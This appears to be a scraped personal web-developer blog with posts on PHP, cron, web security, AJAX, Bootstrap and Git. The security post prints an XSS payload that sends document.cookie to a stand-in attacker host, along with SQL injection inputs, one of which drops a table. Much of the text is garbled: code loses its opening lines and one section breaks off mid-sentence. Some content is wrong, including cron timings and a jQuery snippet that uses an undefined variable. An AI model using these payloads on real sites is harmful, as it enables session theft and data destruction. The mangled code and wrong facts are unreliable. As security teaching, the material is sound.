After executing this report for the month of November this year, I got the report below. Most browser usage is done in Chrome, being pretty much up to date in version. After that we have IE9 as the second most used browser. IE11 and IE 7 follow the ranking. As we can observe, Internet Explorer users don't upgrade their software often, which may be due to the fact that our users belong to institutios which often don't allow users manage their own systems. As we can see in the below graph, IE7 is still used in a 9% of cases, a number high enough to consider holding off the JavaScript upgrade we intended to do. Perhaps we could use the information we held in the view log to try and target the IE7 users for an email campaign recomending them to upgrade their systems.
Browser Usage November 2017
When it comes to operating systems, Windows 7 overwhelmingly wins over the rest of the OS with more than 90% of usage being from Windows 7. As a curious note, there is a fair amount of users that use our application from mobile devices, even though it is not responsive yet, so it is not comfortable to see from a mobile phone.
Operating System Usage November 2017
Conclusion
It looks like we will be putting off the JavaScript update. However, I hope that with this project, readers have learned a bit about the user agent string and some basic principles of informational platforms. I have enjoyed combining the knowledge I earned in my first job as a BI developer, with the web engineering discipline to which I now dedicate myself.


Fluent interface for method chaining in PHP
Samuel Rebollo Díaz — Wed, 25 May 2016 21:20:00 GMT
I am currently doing some research to choose between one of the most popular PHP frameworks for my next project. I have experience using codeigniter and Yii, which are starting to be fairly low in the popularity scale nowadays. They are simple, straightforward and do the job, so I'm still happy to use them but I tend to try something new for every project I start in order to try and keep my skills up to date.
I've been playing around with Laravel and Symfony, which are the most popular frameworks right now. Laravel is quite new and wining in the popularity scale whereas Symfony has been properly stablished for some time now and is quite a robust and sophisticated framework. This, has made me discover a programming concept I didn't know that both of these frameworks use: fluent interface for method chaining. It's a very simple concept and it is almost surprising that it has a name, however I did find it weird at the begining since I wasn't familiar with the concept.
Fluent interface is an object-oriented construct that allows you to chain method calls that apply multiple operations on the same object, resulting in a more readable  code. It is thus syntactic sugar that eliminates the need to list the object repeatedly. For example, fluent interface allows us to write:
setName('John')->setSurname('Smith')->setEmail('johnsmith@smythgn.com');
instead of
setName('John')
$client->setSurname('Smith')
$client->setEmail('johnsmith@smythgn.com');
How to achieve this?
The answer is simple. On the Client class' setters, return a reference to the object being modified with $this:
name = $name;

        return $this;
    }

    public function setSurname(string $surname)
    {
        $this->surname = $surname;

        return $this;
    }

    public function setEmail(string $email)
    {
        $this->email = $email;

        return $this;
    }

    public function __toString()
    {
        return "Name: {$this->name} {$this->surname }, email: {$this->email}";
    }
}
Now, we can call the methods as in the first example above:
setName('John')
				->setSurname('Smith')
				->setEmail('johnsmith@smythgn.com');
print $client;
// Name: John Smith, email: johnsmith@smythgn.com
As a final comment, I think the main drawback (there's no free lunch) is that debugging errors can be a bit more difficult. It makes, however, the code more readable and there are less characters to be typed, then resulting in a quicker programming experience.


Array operations: array_map, array_filter, array_reduce
Samuel Rebollo Díaz — Wed, 20 Apr 2016 16:20:00 GMT
As a php engineer, I’m used to using arrays for everything. Arrays in php are very versatile they can work as a traditional integer-indexed array. They can work as a hashmap or associative array, using a string as an index, which can be descriptive of the value it indexes. Finally they can be multidimensional arrays, containing multiple arrays within it, that can be accessed via multiple indexes.
Integer-indexed array
This type of array can be used to store any type of element, but indexes are always integers. Indexes start at zero by default and are incrementally assigned unless explicitly used.
Associative array
Associative arrays differ from integer-indexed ones in the sense that associative arrays are indexed by strings. Descriptive names can be used for the information they hold.
 ‘John Smith’,
	‘email’ => ‘john@smith.com’,
	‘address’ => ’52 York St.’
];

echo $user[‘name’];
// John Smith
Multidimensional arrays
These arrays contain other nested arrays. They can be used, for example, to hold a two-dimensional numeric matrix or a database recordset.
 ‘John Smith’,
        ‘email’ => ‘john@smith.com’,
        ‘address’ => ’52 York St.’
    ],
    [
        ‘name’ => ‘Joseph Jones’,
        ‘email’ => ‘joe@jones.com’,
        ‘address’ => ’25 Victoria St.’
    ],
    [
        ‘name’ => ‘Rupert Nigels’,
        ‘email’ => ‘rupert@nigels.com’,
        ‘address’ => ’38 Stratford Ln.’
    ],
];

echo $users[1]['name'];
// Joseph Jones

php has a very rich library of very useful array functions, three of which I find particularly useful. Those are array_map, array_reduce and array_filter.
array_map
Say you have received an associative array containing a database record set, each one representing a user but what you really need is an array containing only the list of emails.
// what you have

$users = [
    [
    	'id' => 1,
        ‘name’ => ‘John Smith’,
        ‘email’ => ‘john@smith.com’,
        ‘address’ => ’52 York St.’,
        'admin' => 1
    ],
    [
	    'id' => 2,
        ‘name’ => ‘Joseph Jones’,
        ‘email’ => ‘joe@jones.com’,
        ‘address’ => ’25 Victoria St.’,
        'admin' => 0
    ],
    [
	    'id' => 3,
        ‘name’ => ‘Rupert Nigels’,
        ‘email’ => ‘rupert@nigels.com’,
        ‘address’ => ’38 Stratford Ln.’,
        'admin' => 0
    ],
];

// what you need

$emailList = [‘john@smith.com’, ‘joe@jones.com’, ‘rupert@nigels.com’];

You could achieve this by iterating over the array and filling an empty array with the email addresses:
$emailList = [];
foreach($users as $user)
{
	$emailList[] = $user['email'];
}
However, with array_map you can achieve this in a single function call. The function array_map takes an anonymous function as the first parameter and the input array as the second parameter:
$emailList = array_map(function($element){ return $element['email']; }, $users);
array_filter
If you have an array, but only need some of the elements in it, you can use the array_filter function. It takes an anonymous function as a second parameter that should return true for the element to be returned in the result array. Let's say you need the users that are admin:
$adminUsers = array_filter($users, function($element){ return $element['admin'] == 1; });
array_reduce
This function is my favourite one, it reduces the array to a single value. This return value can be pretty much anything (integer, string, etc.) and an initial value must be passed when calling array_reduce.
Let's say we need to have a string containing the names of all users, separated by commas: 
$userString = array_reduce($users, function($carry, $item){ return $carry . ", " . $item['name']; }, 'Unnamed User');

// returns "Unnamed User, John Smith, Jospeh Jones, Rupert Nigels"
What's wrong with foreach?
Nothing. You can keep using foreach loops for these operations. I used to refuse to use these functions because I though my code was more readable using foreach. However, some operations are so common that it feels ridiculous to keep repeating foreach loops for them, and they are even more common if you work with data that came from an API.
Other array functions
As I said earlier, php has a very rich library of array functions. Try to replace some of your foreach loops with them where it seems to fit. Your code will be less clunky and much easier to read. Other functions I use are: array_column, array_walk, array_search, array_combine, check them out!



Setting up a basic Cron Job on a server
Samuel Rebollo Díaz — Fri, 05 Feb 2016 15:47:00 GMT
One of the most common and useful jobs one may come across when working with any kind of long term project involving basic systems administration is to set up scheduled tasks to be executed automatically at a planned time. This can be achieved by using Cron, a time-based task scheduler you can find in Unix-like operating systems. It can be used for running scheduled backups, monitoring disk space, execute health checks, running system maintenance tasks and similar jobs. 
Basic terminology
A task scheduled through Cron is called a cron job.
Cron has a program that runs in the background all the time (daemon) that is responsible for launching these cron jobs on schedule.
The schedule resides in a configuration file named crontab.
Cron syntax
Here is an example cron job:
10 * * * * /usr/bin/php /var/www/scheduled/cron.php > /dev/null 2>&1
Parts of a cron job:

    timing command script output
    10 * * * * /usr/bin/php /var/www/scheduled/cron.php > /dev/null 2>&1
        
Timing: set the minutes, hours, days, months, and weekday settings. In the example, this job is being executed every 10 minutes.
Command: in this case, we're executing a php script, so we need to call /usr/bin/php.
Script: the path of the script to run.
Output: (optional) you can write the output to a file or discard it with > /dev/null 2>&1.
Timing syntax
The first part of the cron job string determines how often and when the cron job is going to run. It consists of five parts:
cron job format
Create a Cron job
To display the contents of the crontab file of the current user:
crontab -l
To edit the current user's cron jobs:
crontab -e
I use vi editor, as it is the most common and default text editor un Unix-like systems. If you are not familiar with its use, I'm sure a quick Google search can help you. Here is a quick simple guide for this purpose.
Type crontab -e
Press 
Press i (for "insert") to begin editing the file.
Append your Cron command.
Press  again to exit insert mode.
Type  wq to save and exit the file.
Examples

    
        sintax
        description
    
    
        
            * * * * *
        
        
            run a cron job at every minute.
        
    

    
        
            */5 * * * *
        
        
            Run cron job at every 5th minute. For example if the time is 10:00, the next job will run at 10:05, 10:10, 10:15 and so on.
        
    

    
        
            30 * * * *
        
        
            Run a cron job every hour at minute 30. For example if the time is 10:00, the next job will run at 10:30, 11:30, 12:30 and so on.

        
    
    
        
            0 */2 * * *
        
         Run a job every 2 hours:
            For example if the time is now 10:00, the next job will run at 12:00.
        
    
    
        
            0 7 * * *
        
        
            Run a job every day at 7am:
        
    
    
        
            0 0 * * TUE or
            0 0 * * 0
        
        
            Run a job every Tuesday at 00:00
        
    
    
        
            25 17 1 * *
        
        
            Run a job at 17:25 on day 1 of the month:    
        
    
    
        
            5 0 * 8 *
        
        
            Run a job on a specific month at a specific time: The job will be executed at 00:05, every day of August.
        
    
    
        


            0 0 1 */6 *
        
        
            Run a job at 00:00 on day-of-month 1 in every 6th month.
            
        
    
   
Conclusion
I hope this simple guide has been useful to the reader. I personally always have to lookup the syntax every time I setup a Cron job, as it isn't very often. I usually aid my setup by using this generator and this editor to help me remember.


PHP late static binding
Samuel Rebollo Díaz — Wed, 20 Jan 2016 19:00:00 GMT
Being PHP an interpreted language, we don't need to compile our programs ourselves. However, that doesn't mean it is never complied. The PHP interpreter compiles and runs it for us so there is still these two phases: compile time and run time. Static properties get their values on run time.
Eh... Static?
A class property or method declared as static makes them accessible without needing an instantiation of the class. They belong to the class, rather than the object that instantiates it.
Late Static Binding
I recently discovered a PHP feature with which I wasn't familiar. It is called late state binding and it is used 'to reference the called class in a context of static inheritance'. This means, for example, that if you need to access a static method from an inherited class, you need to use the keyword static, rather than self.
What's wrong with 'self::'
Nothing is wrong with self but it has its limitations, a static reference to the current class with self, is resolved using the class in which the function belongs. That way if a class extends another with a static method, a call to self will return the parent class' static method, instead of the child's.
Example
While investigating how this works, I've come across tutorials and articles providing abstract examples to show how late static binding works, but not how one actually uses it. I've to say that when I see code examples with an abstract 'Vehicle' class, that is extended by 'Car' and 'Motorbike' or something of the kind, I stop reading. With this example, I'd like to provide a real world example of how to use late static binding. The example, though, is fabricated and the problem could be modelled without the need to use a static method, but we will be looking at an educational code example with a real-world application.
The code below, contains an implementation of a data file parser. We would like to be able to parse text files with .csv or .tsv format.
This code, contains the abstract class DateFileParser with the abstract method getFieldDelimiter, which will return the caracter delimiting each field in a row of data within the file. The other two classes CsvFileParser and TsvFileParser need to implement the getFieldDelimiter method to provide the delimiter character.
Then, the method parseFile performs the parsing, calling the former method on line 10.
$delimiter = static::getFieldDelimiter();
In this line, the class that 'static' represents is either CsvFileParser or TsvFileParser, depending on which one is calling the method. These classes don't need to redefine the parseFile method, as they will be correctly calling their own getFieldDelimiter thanks to the use of static::
Conclusion
This article doesn't intend to be an exhaustive explanation of late static binding or the uses of the static keyword in php. It is rather to provide a believable example of its use, simple enough to be easily understood but real enough not to sound ridiculous. The example could be modelled without using a static method or could use the fgetcsv php function.



Common web security vulnerabilities: XSS, CSRF and SQL injection
Samuel Rebollo Díaz — Sun, 08 Nov 2015 19:38:00 GMT
Since I've been a web engineer, I have come across the most common security problems a web application may fall into. In this post, I'd like to explore the main ones and how to prevent them. Security on the web depends on a variety of instruments, including an elemental concept of trust called the same-origin policy. This policy states that if content from one site is granted permission to access resources (like cookies etc.) on a browser, then a client side script will be able to access this content only on the same protocol, host, and port. If any one of these differs, then the script is prevented from accessing the external elements.
Escaping
Before we start, let's briefly explain the concept of escaping: in this context, escaping refers to removing or substituting characters from a potentially dangerous string of characters. Depending on the context, this can include prepending escape characters to quotes (' will become \'), replacing < and > signs with their HTML entities, < and >, and removing 
Then, any user visiting the site will be sending their cookies to the attacking site without even noticing.
How to prevent
To prevent XSS we should escape any output data into which a user could inject malicious code. In PHP, HTML can be scaped from a string by using the function htmlspecialchars. So in this example, if our back end uses this function:
HTML output of this would be:
<script type='text/javascript'<
	document.location = 'http://attackingsite.com/cookie_thief.php?cookies='+ document.cookie
</script<
And the string of characters displayed would then be:
Harmlessly exposing the atacker's intentions.
We can also sanitize strings by using the PHP library HTML Purifier. If we use a framework like Laravel, this problem is already taken care of by blade, its templating system. Using {{ $comment }} should get rid of the problem
Cross-Site Request Forgery (CSRF)
In a CSRF attack, a user (the victim), authenticated into a trusted service, would unknowingly submit a request to the trusted service from a malicious website under the attacker's control. In order for this attack to work, the attacker must know a reproducible web request that executes a specific action (for example, changing the user's password) on the trusted service. Then, a link to make this request can be embedded on a website that is controlled by the attacker. If the victim is authenticated to the trusted service by a cookie stored in the browser, the HTTP request could be sent and cause the unwanted action.
Imagine that a user visits a website containing the following:
If the user is authenticated on "myemail.com", instead of fetching an image, the request to change the password could go through.
How to prevent
The most common technique used to prevent CSRF is to generate and store a secret session token when the session ID is generated. This secret token is included  with every request sent to the server. When a request is sent, the system makes sure that the token is present and matches the recorded value. In a simple PHP, this could be implemented like this:
then, with every form, we should include the CSRF token as a hidden field:

	
    
When the form is submitted, we validate that the sent token matches the one stored:
SQL injection
SQL injection may happen when input data is not escaped before being inserted into a database query. Let's see an example, if our code has a line like this:
If a malicious user can guess database table field named corresponding to form input, then injection can occur. For example, if we set the username field on the form to petesmith' OR 1=1, as the input is not being escaped, the result query string would result on:
SELECT * FROM users WHERE username = 'petesmith' OR 1=1;
As the expresion on the right of the OR is always true, this would expose the whole users table to the malicious user. An even worse attack would be to input petersmith'; DROP TABLE users;, which would result on:
SELECT * FROM users WHERE username = 'petesmith'; DROP TABLE users;
which would drop the whole users table.

by xkcd
How to prevent
This kind of attack can be prevented  by using parameterized statements instead of embedding user input in the SQL statement.  In PHP, we can use PDO placeholders:
prepare("SELECT * FROM users WHERE username = :user ");  
$stmt->bindParam(':user', $_POST['username']);
$stmt->execute();
Conclusion
I hope this post helps the reader understand the three main web security pitfalls a web application may suffer if they are not prepared, including a tip on how to prevent them. From this we can conclude that prevention is the the way to fight them and filtering and not trusting input helps solving these issues.


AJAX and JSON
Samuel Rebollo Díaz — Tue, 30 Jun 2015 17:12:00 GMT
Introduction
Ajax (AJAX) stands for Asynchronous JavaScript And XML request. It is a set of techniques using on the client side to create asynchronous requests to the server. With Ajax, web applications can send and retrieve data from a server without interfering with the display and behaviour of the existing page. Ajax allows web apps to change content without the need to reload the entire page. The X in AJAX stands for XML ,which used to be the dominant hierarchical data format. However, today JSON has taken over in popularity so nowadays we should talk about AJAJ request but for historical reasons they are still called Ajax.
JSON
JSON stands for JavaScript Object Notation. It is an open standard data interchange format, that uses human-readable text strings consisting in key-value pairs to store and transmit data. 
Here is a basic example of what might be a JSON string:
{
  "foreName": "John",
  "familyName": "Doe",
  "dateOfBirth": "1984-11-16"
}
The official internet media type for JSON is application/json and files use the extension .json
Even though these two items refer to. JavaScript in their names, both AJAX and JSON are language-independent. They were derived from JavaScript but may modern  programming languages include code to generate and/or parse JSON format data.
Performing an Ajax GET request
Let's consider the following example:
A web page makes an Ajax request to asychronously search a user list. The page will show the matching records without reloading the whole page from the server.
Server side
Here's the server side file users.php that outputs a JSON string returning the filtered list of users:
 "Anthony",
    "surname" => "Smith",
    "age" => 25,
    "nationality" => "British",
    "username" => "anthonys",
    "email" => "anthonys@sreb.com"
  ),
  array(
    "forename" => "Antonio",
    "surname" => "Ferrari",
    "age" => 37,
    "nationality" => "Italian",
    "username" => "aferrari",
    "email" => "aferrari@sreb.com"
  ),
  array(
    "forename" => "Antonio",
    "surname" => "Herrero",
    "age" => 22,
    "nationality" => "Spanish",
    "username" => "antoniohr",
    "email" => "antoniohr@sreb.com"
  ),
  array(
    "forename" => "Antoine",
    "surname" => "Forgeron",
    "age" => 53,
    "nationality" => "French",
    "username" => "antforgeron",
    "email" => "antforgeron@sreb.com"
  )
);

$searchData = array(
  "forename" => $_GET["forename"],
  "surname" => $_GET["surname"],
  "age" => $_GET["age"],
  "nationality" => $_GET["nationality"],
  "username" => $_GET["username"],
   "email" => $_GET["email"],  
);

$result = array_reduce($dataArray, 
  function($carry, $element) use ($searchData)
  {
    if ($element["forename"] == $searchData["forename"]
        || $element["surname"] == $searchData["surname"]
        || $element["age"] == $searchData["age"]
        || $element["nationality"] == $searchData["nationality"]
        || $element["username"] == $searchData["username"]
        || $element["email"] == $searchData["email"]
     )
     {
       array_push($carry, $element);
     }
     
     return $carry;
  },
  array());

echo(json_encode($result));
Front end
And here's the HTML file that will show the search form: 


  
    User Search Form
     
       First name:

      

       Family name:

      

       Age: 


       Nationality:

      

       Username:

      

       Email:

      

      
    

    Results
    
    	Name Age Nationality Username Email
    
    
    
  

Ajax request
Lastly, let's use jQuery to do the asynchronous call to the server and populate the results table.
$(document).ready(function(){
  $("#userSearch").submit(function(event){
  event.preventDefault();
  $.ajax(
    {
      url: "users.php",
      data: $("#userSearch").serialize(),
      success: function(response){
        $.each(data, function(index, obj) {
          $("#usersTable").append("" + obj.forename + " " + obj.surname + "" + obj.age + "" + obj.nationality + "" + obj.username + "" + obj.email + "");
    	});
      }
    });
  });
});
Conclusion
With this simple example, I have tried to laid the basics of what it is to make AJAX requests and use JSON format as output data, using PHP, JavaScript and JQuery. This is, of course a very simple educational example. A real case would retreive the data from a DB and would have the complexities of dealing with security issues.


Responsive design
Samuel Rebollo Díaz — Sun, 24 May 2015 14:43:00 GMT
When I started applying for web development roles, I was asked in an interview about responsive design. I didn't know the answer so the interviewer explained to me what it was. His explanation wasn't really very good. He picked up his phone and said, 'it is a development technique that allows us to design a web interface so you can see the website like this', he said while holding his phone horizontally 'as well as this', and then moved his phone vertically. I didn't completely undestand what he meant but I found the topic interesting. I have now been working on reponsive websites for several months and have a better idea of how it works.
What is responsive design?
Responsive web design is an approach a designer takes to create a web page that resizes itself depending on the type of device or screen size it is being seen through.  That could be a desktop computer monitor, a laptop or devices with small screens such as smartphones and tablets.
Responsive design has become an essential tool for anyone with a digital presence. With the growth of smartphones, tablets and other mobile computing devices, more people are using smaller-screens to view web pages.
Let’s take a traditional “unresponsive” website.  When viewed on a desktop computer, for instance, the website might show three columns. But if you view that same layout on a smaller tablet, it might force you to scroll horizontally. When viewed from a smartphone, the website will probably be slow to load and much more difficult to read. Some elements might be hidden from view or distorted.
However, if a site uses responsive design, the tablet version may automatically adjust to display just two columns. That way, the content is readable and easy to navigate on the tablet. On a smartphone, the content might appear as a single column, perhaps stacked vertically.  Images will resize instead of distorting the layout or getting cut off.
The point is: with responsive design, the website automatically adjusts based on the size of the screensize of the device the viewer sees it in.
Responsive design with Twitter Bootstrap
Bootstrap is a free and open-source front-end framework with a giant collection of handy, reusable bits of code written in HTML, CSS and Javascript, that enables developers and designers to quickly build fully responsive websites.
Bootstrap includes a responsive fluid grid system that appropriately scales up to 12 columns as the screen size increases. All page elements are sized by proportion, rather than pixels. The bootstrap Grid is used to define the width that each html component takes up on the page. Content elements can occupy at the least one column and at most 12.
To achieve this, bootstrap makes use of the following class names to specify the size of the content element:
 .col-screensize-columnsize
For example col-md-4 stands for a column that scales down to medium screen that takes up 4 columns. 

	this width is 1/3 of the screen size
	this width is 2/3 of the screen size
These two columns will stack on smaller (mobile) and become 100% width.
Screen Sizes
Screen sizes in bootstrap are defined by a range of width sizes in the following image:
The Media Queries
This behaviour is achieved through media queries, a feature of CSS3 that allows content rendering to adapt to different screen resolutions. The media queries used in Bootstrap are listed below. Each one goes in and changes the size of the columns to reflow the layout.
@media (max-width: 480px)
@media (max-width: 768px)
@media (min-width: 768px) and (max-width: 980px)
@media (max-width: 980px)
@media (min-width: 980px)
@media (min-width: 1200px)
Conclusion
Hopefully this overview of responsive web design and the Bootstrap framework has been useful. This is hardly scratching the surface of what Bootstrap is capable of. The web is full of tutorials on how to get started, starting by their documentation.


Discovering Git
Samuel Rebollo Díaz — Mon, 23 Feb 2015 18:47:00 GMT
I studied a general Computer Science degree which focused mainly on Software. During my studies I had to do a number of individual as well as group assignments. I remember a particular one on web software development —which happens to be my current area of work. We had to develop this project in a team of 5 peers. As it had to be mainly developed over the Christmas break, we divided our work and each of us developed one part. Then we did a manual merge of our work. At the time presentation we set up an IIS server and loaded our project to be defended. This was the winter period of 2008-2009.
After having worked for barely a month as a professional web engineer I can only now realise how rudimentary our process was. Our code changes weren’t controlled or logged in any way, our individual work could not be tracked and our deployment process consisted on copying over ftp our code files. We could have destroyed our mates’ work by overriding their files! (Something that in fact did happen).
I believe it is almost a crime, to have studied software engineering in University and not having been taught the essentials of version control —especially important when you work with a team— and a decent approach to deployment. Deployment by copying code through ftp would have probably been enough for the educational purpose of the project but only with decent collaboration strategy such as using git for version control.
What is git?
Git is a version control system for code. It is responsible for the management of changes to files. Changes are usually identified by a code string, referred to as "revision". Each revision is associated with a timestamp  and the person making the change. Revisions can be compared and merged. It allows for more than one versions of the software to be developed concurrently allowing this through the creation of branches.
Structure
Revisions are generally thought of as a line of development (in git, called master by default) with branches off of this, which may vary depending on the development and deployment strategy. For example, a project may have a development branch, used by the developers to create new features, those features, once developed, are merged into a “test” branch and deployed to a testing environment where the new feature is tested. Lastly once the tests are done, this testing branch is merged into the main branch, called “master” and lastly released as a new version of the software.
Local and remote repositories
A repository encompasses the entire collection of files and folders associated with a project, along with each file’s revision history. The file history appears as snapshots in time called commits.
Git is a distributed system. As such, it gives each developer a local copy of the full development history, and changes are copied from a local repository to a remote central one. The other developers can pull those changes from the remote to their local repositories and merge them with their own work. Already existing repositories can be cloned and shared to be used by others as a new centralized repo.
Git can be installed in a private server and be used by others  to create centralized repositories or a “GIT as a service” platform can be used as GitHub, Bitbucket or GitLab.
Basic Git commands
To use Git, developers use specific commands to copy, create, change, and combine code. These commands can be executed directly from the command line or by using a git GUI such as GitHub Desktop, Sourcetree or TortoiseGit. Here are some common commands for using Git:
git init initializes a brand new Git repository and begins tracking an existing directory. It adds a hidden subfolder within the existing directory that houses the internal data structure required for version control.
git clone creates a local copy of a project that already exists remotely. The clone includes all the files, history, and branches.
git add stages a change. This command performs staging, the first part of the two-step process of updating a repository. Any changes that are staged will become a part of the next commit and a part of the project’s history.
git commit saves the snapshot to the project history and completes the change-tracking process. A commit is like taking a photo. Anything that’s been staged with git add will become a part of the snapshot with git commit.
git status shows the status of changes as untracked, modified, or staged.
git branch shows the branches being worked on locally.
git merge merges lines of development together. This command is typically used to combine changes made on two differe t branches. 
git pull updates the local line of development with updates from its remote counterpart. Developers use this command if a team mate has made commits to a branch on a remote, and they would like to reflect those changes in their local environment.
git push updates the remote repository with any commits made locally to a branch. 
To learn more, find here a full reference guide to Git commands.
Example : Set-up a privately-hosted bare Git repository
Assumption: You have ssh access to a remote server with Git installed on it.
1.	Setup the server repository. In the server, navigate to your desired location and create your git folder:
git init --bare my-project.git
2.	Use your newly created remote repository. Back on your local computer, and your local project folder, initialise the project and change the remote url:
git init
git remote set-url origin git@yourserver:/path/to/my-project.git
3.	Now you can create the first files of the project, for example, create a new index.html and style.css files. After creating files, let's check the status of the repository:
git status
As we expected, we get:
On branch master
Initial commit

Changes to be committed:
(use "git rm --cached ..." to unstage)

  new file: index.html
  new file: style.css
4.	Let's stage them with
git add index.html style.css
5.	Take a snapshot of the staging area:
git commit -m “add index and style files"
6.	Push changes to remote:
git push
So with this, we’ve created our first git repository and pushed our first commit. I recommend finding some time to work with a small team and test pulling new changes and merging files.

User ID	ID of the application user that is accessing the information
Client ID	ID of the client whose information is being queried
Data type	The type of sensitive data that it is being accessed, ie, date of birth, name, address
Timestamp	Date and time of information viewing
User Agent String	User's browser user agent string

sintax	description
* * * * *	run a cron job at every minute.
/5 * * *	Run cron job at every 5th minute. For example if the time is 10:00, the next job will run at 10:05, 10:10, 10:15 and so on.
30 * * * *	Run a cron job every hour at minute 30. For example if the time is 10:00, the next job will run at 10:30, 11:30, 12:30 and so on.
0 /2 * *	Run a job every 2 hours: For example if the time is now 10:00, the next job will run at 12:00.
0 7 * * *	Run a job every day at 7am:
0 0 * * TUE or 0 0 * * 0	Run a job every Tuesday at 00:00
25 17 1 * *	Run a job at 17:25 on day 1 of the month:
5 0 * 8 *	Run a job on a specific month at a specific time: The job will be executed at 00:05, every day of August.
0 0 1 /6	Run a job at 00:00 on day-of-month 1 in every 6th month.